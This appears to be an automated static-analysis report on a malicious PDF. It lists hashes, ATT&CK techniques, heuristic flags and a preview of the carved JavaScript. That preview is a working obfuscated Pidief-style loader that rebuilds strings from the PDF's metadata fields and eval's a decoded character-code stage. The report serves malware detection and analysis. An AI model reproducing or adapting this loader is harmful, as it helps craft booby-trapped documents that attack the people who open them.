Malicious PDF — malware analysis report

Static analysis result for SHA-256 7dd250d30fe790e2…

MALICIOUS

PDF

33.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 27173a0b4a5f8daae6af1f301f1095da SHA-1: a81acf754f1c4915ce6354e027bde91537ba76e2 SHA-256: 7dd250d30fe790e24541185bbb34e4768807bd3050ea8f45cd3129ef607da2db
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics like PDF_JAVASCRIPT and PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER. The script reconstructs a string of character codes and uses `fromCharCode` to decode it, likely to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x847A 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

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